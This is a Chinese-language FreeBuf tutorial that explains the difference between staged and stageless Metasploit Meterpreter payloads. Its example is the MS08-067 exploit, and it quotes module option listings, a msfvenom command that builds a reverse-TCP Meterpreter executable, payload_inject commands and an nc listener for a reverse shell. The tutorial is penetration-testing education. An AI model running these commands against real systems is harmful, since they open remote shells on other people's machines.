探尋Metasploit Payload模式背後的祕密
*本文作者:你會忘了我,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
你們是否發現msf的payload中,經常會看見一對對長得特別像的兄弟?
我第一次學習metasploit的時候,可能和大家的開場方式一樣,試用08067的漏洞來攻擊一臺windows xp獲取一個meterpreter shell。那個時候幾乎沒怎麼變過的使用reverse_tcp連線,但是有一天…
payload/windows/x64/meterpreter/reverse_tcpnormalNoWindows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager payload/windows/x64/meterpreter_reverse_tcpnormalNoWindows Meterpreter Shell, Reverse TCP Inline x64
我發現了一對雙胞胎,他們長得幾乎一模一樣,但是我從來沒有見過別人使用他的另一個小兄弟,所以這篇文章,我就想和大家聊聊metasploit payload模式背後的祕密。
我們就以這個常用的meterpreter reverse_tcp來舉例,其實這兩個payload的區別從官方介紹上的話,我們可以發現兩個比較重要的詞語來闡述他們的不同 inline
和 stager
,其實,用metasploit官方的說法來說,他們第一個payload屬於stage模式,第二個payload屬於stageless模式,那他們之間具體有什麼區別呢?
我們還是使用經典的08067來介紹,下面是我們的模組配置資訊:
Stage
msf5 exploit(windows/smb/ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): NameCurrent SettingRequiredDescription -------------------------------------- RHOSTS192.168.1.2yesThe target address range or CIDR identifier RPORT445yesThe SMB service port (TCP) SMBPIPEBROWSERyesThe pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): NameCurrent SettingRequiredDescription -------------------------------------- EXITFUNCthreadyesExit technique (Accepted: '', seh, thread, process, none) LHOST0.0.0.0yesThe listen address (an interface may be specified) LPORT4444yesThe listen port Exploit target: IdName ------ 0Automatic Targeting
當我們使用metasplit的ms08_067_netapi模組之後,使用payload/windows/meterpreter/reverse_tcp模組,並開啟一個multi/handler連線監聽著我們本機的4444埠,有了解過緩衝區溢位的同學可能都知道,攻擊者會利用軟體的某個缺陷來傳輸一段很長的shellcode來溢位目標的緩衝區,從而控制EIP指標來跳轉到我們的shellcode上,執行我們的程式碼,但是這段shellcode並不能過長,shellcode過長,可能會導致覆蓋到了上一函式棧幀的資料,導致異常的發生。所以像我們攻擊者最希望就是生成一段短小精悍的shellcode啦。
像這張圖,我們攻擊機像目標靶機發送了一段shellcode,並覆蓋了EIP,導致程式執行的時候跳回shellcode的開頭,從而控制程式的執行情況,執行我們的惡意程式碼,這段惡意程式碼就只要幹兩件事,第一件事就是向記憶體申請開闢一塊空間,第二件事就是回連我們的4444埠,這段shellcode為我們乾的事情就好像是一個前排衝鋒的戰士,開啟城牆的大門好讓更多的精兵衝進來。我們稱這段shellcode為stage0,也就是第一階段
這時,我們的攻擊機,已經開始監聽4444埠了,只要連線一成功,就會把meterpreter shell最核心的dll檔案傳送到靶機上
我們之前說過,當靶機運行了我們的shellcode,會在記憶體裡面開闢一塊土地,這個地方就是為我們的metsrv留的,metsrv.dll這個檔案是meterpreter的核心主件,有了他,我們才能獲取到一個meterpreter shell,當metsrv傳輸成功之後,shellcode就會把控制權轉給metsrv,metsrv這時再去請求另外兩個dll檔案stdapi和priv。這個時候我們一般就會看到一個讓人振奮的提示:
msf5 exploit(windows/smb/ms08_067_netapi) > run [*] Sending stage (206403 bytes) to 10.73.151.75 [*] Starting interaction with 1... meterpreter >
Stageless
現在我們知道了 meterpreter/reverse_tcp
是分階段的shellcode,並且他分階段的原因是因為在溢位攻擊的時候shellcode應該儘可能保持得更短,這個時候理解他小兄弟 meterpreter_reverse_tcp
就方便的多,和 meterpreter/reverse_tcp
不同的是,他的小兄弟 meterpreter_reverse_tcp
是一個不分階段的payload,我們稱之為stageless(unstage),他在生成的時候就已經將我們獲取一個meterpreter必須要用的stdapi已經包含在其中了。那這又有什麼好處呢?試想一下,如果我們通過層層的代理,在內網進行漫遊,這個時候使用分階段的payload如果網路傳輸出現了問題,metsrv.dll沒有載入過去,可能就會錯失一個shell,stageless的payload會讓人放心不少
預設的stageless payload只會包含stageless,所以如果想將stdapi和priv兩個組建給包含進去的華我們可以用extensions命令:
msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.16.52.1 LPORT=4444 EXTENSIONS=stdapi,priv -f exe -o stageless.exe
Another Thing
分階段的payload,我們必須使用exploit/multi/handler這個模組使用,但是當我們想回彈一個基礎的shell的時候,其實可以使用nc來監聽埠直接回連到nc上,為了測試方便,我直接在已獲得session的機器中,注入新的payload來測試:
Target:
use exploit/windows/local/payload_inject set payload windows/shell_reverse_tcp set sessions 1 set DisablePayloadHandler True (這個設定是讓msf不監聽埠) run root:~# nc -nvpl 4444
當有時獲取到了root許可權,想反彈linux shell的時候,這時meterprter的需求就不是那麼高了,我們就可以使用shell_reverse_tcp(或者是bind)來生成一個stageless的bash指令碼,直接使用nc來接受shell
視訊演示:
課後作業:
1.在生成一個 windows/shell_reverse_tcp
的時候,是否需要指定EXTENSIONS=stdapi,priv?
2. meterpreter_reverse_tcp
是否可以不用exploit/multi/hander模組,直接用nc來監聽獲取?
3.在你只有一個windows的反彈shell的時候,反悔想使用meterpreter的shell了,有什麼辦法來獲取呢?
大家在留言處踴躍留言吧,記得加上自己的思考過程,have fun ^_^
REFERER:
ofollow,noindex" target="_blank">https://xz.aliyun.com/t/1709
https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode
*本文作者:你會忘了我,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。